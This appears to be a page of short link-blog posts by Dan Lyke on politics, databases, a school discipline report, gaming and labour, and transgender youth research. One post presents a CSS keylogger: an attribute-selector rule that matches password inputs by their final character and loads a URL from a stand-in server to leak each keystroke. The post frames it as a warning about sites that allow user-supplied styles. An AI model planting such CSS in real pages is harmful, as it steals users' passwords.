Amazing how the we need guns to
Dan Lyke:

Amazing how the "we need guns to protect our rights from the government" crowd seems to be lining up behind some pretty authoritarian "arm the teachers" and "metal detectors in the hallways" proposals.
Dan Lyke:

I am not one to mock anyone's gender expression, but those women do present as very butch...

Friend describing how their child is
Dan Lyke:

Friend describing how their child is referring to lingo as "super 1900s" is making me feel hella old.

Why We Moved From NoSQL MongoDB to PostgreSQL
Dan Lyke:

Why We Moved From NoSQL MongoDB to PostgreSQL. One of their reasons, needing to check for existence in the record because not all records have a field, is a bad one. And restructuring a large database can take an unacceptable amount of time (work is currently dealing with this issue in old MySQL databases and our archive policies around that), but it's still a good set of things to consider about NoSQL before you hitch a wagon to it.

As long as racism
Dan Lyke:

As long as racism, social authoritarian beliefs, and snake oil shysters wrap themselves in Christianity, Billy Graham will live on.

Addendum: I should have used bigotry: Graham was willing to follow some social change on racism, even as he attacked activists who led the charge against racism, but he was still anti-gay to the end.

National Women's Law Center: Changing the School System’s Approach to Discipline
Dan Lyke:

National Women's Law Center: Changing the School System’s Approach to Discipline:

...Half of Black girls’ suspensions are for minor offenses such as violating the dress code, chewing gum, or talking back to a teacher. These behaviors don’t pose threats to classmates or disrupt teaching. But they challenge society’s idea of femininity– white femininity.

RT Eλf Sternberg @elfsternberg

"Leisure luxuries and the labor supply of young men." Man, if video games dropped labor involvement in men under 30 by 3%, just wait until sexbots hit the market.

The abstract:

Younger men, ages 21 to 30, exhibited a larger decline in work hours over the last fifteen years than older men or women. Since 2004, time-use data show that younger men distinctly shifted their leisure to video gaming and other recreational computer activities. We propose a framework to answer whether improved leisure technology played a role in reducing younger men’s labor supply. The starting point is a leisure demand system that parallels that often estimated for consumption expenditures. We show that total leisure demand is especially sensitive to innovations in leisure luxuries, that is, activities that display a disproportionate response to changes in total leisure time. We estimate that gaming/recreational computer use is distinctly a leisure luxury for younger men. Moreover, we calculate that innovations to gaming/recreational computing since 2004 explain on the order of half the increase in leisure for younger men, and predict a decline in market hours of 1.5 to 3.0 percent, which is 38 and 79 percent of the differential decline relative to older men.

The unwitting: The Trump supporters used by Russia

The unwitting: The Trump supporters used by Russia

Florine Gruen Goldfarb runs the Team Trump Broward County Facebook page, which posted numerous times about events that were promoted and encouraged by the Russians. Speaking to CNN on Sunday, she said she didn't believe she was influenced by the Russians and said she thought that Friday's indictment was a ploy to distract from the FBI's mishandling of tip-offs it had received about the Parkland, Florida school shooter.

The Octopus Jig (Facebook Video)
Dan Lyke:

The Octopus Jig (Facebook Video). It says "Octopus", but there's only six arms... 3 people playing 3 instruments, but each playing a different part of the instrument (one's strumming, one's fingering).
Dan Lyke:

A keylogger written in pure CSS.

For example, the following css will select all input's with a type that equals password and a value that ends with a. It will then try to load an image from http://localhost:3000/a.

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");

Beware sites that allow end-user customization... Although the Twitter thread at suggests there this may only work for static values, not vanilla inputs, but does work on React inputs.

Mental Health and Self-Worth in Socially Transitioned Transgender Youth

These findings are in striking contrast to previous work with gender- nonconforming children who had not socially transitioned, which found very high rates of depression and anxiety. These findings lessen concerns from previous work that parents of socially transitioned children could be systematically underreporting mental health problems.
